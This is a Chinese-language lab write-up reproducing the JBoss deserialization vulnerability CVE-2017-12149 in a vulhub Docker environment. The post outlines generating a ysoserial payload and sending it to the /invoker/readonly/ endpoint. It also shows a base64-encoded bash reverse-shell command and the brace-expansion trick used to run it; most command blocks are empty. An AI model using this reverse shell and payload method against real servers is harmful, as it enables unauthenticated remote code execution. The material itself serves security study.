Jboss反序列化漏洞(CVE-2017-12149)
Last updated on 2 years ago
漏洞介绍
该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下就将来自客户端的数据流进行反序列化,从而导致了漏洞。远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码。
漏洞复现
克隆 vulnhub
的项目到本地,cd到对应的文件夹,启动docker,然后执行以下命令开始下载测试环境
1 |
|
浏览器访问 http://192.168.33.137:8080
即可看到JBoss默认页面
漏洞存在 /invoker/readonly/
请求中,此处服务器将用户提交的POST内容进行了Java反序列化
下载用于生成序列化数据的ysoserial,使用bash反弹shell
1 |
|
由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法,需要进行编码,而且漏洞复现文档里所提到的编码工具已经找不到,那就只能手动拼凑一下了
模型: bash -c {echo,base64编码后的shell命令} | {base64,-d} | {bash,-i}
先把shell命令base64编码:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMzLjEzNy82NjY2IDA+JjEK
然后替换echo后面的
1 |
|
使用 ysoserial
生成Payload:
1 |
|
kali nc监听:
1 |
|
向存在漏洞的请求地址发送poc:
1 |
|
成功反弹shell
参考:
Jboss反序列化漏洞(CVE-2017-12149)
https://guosec.online/posts/1de3639b.html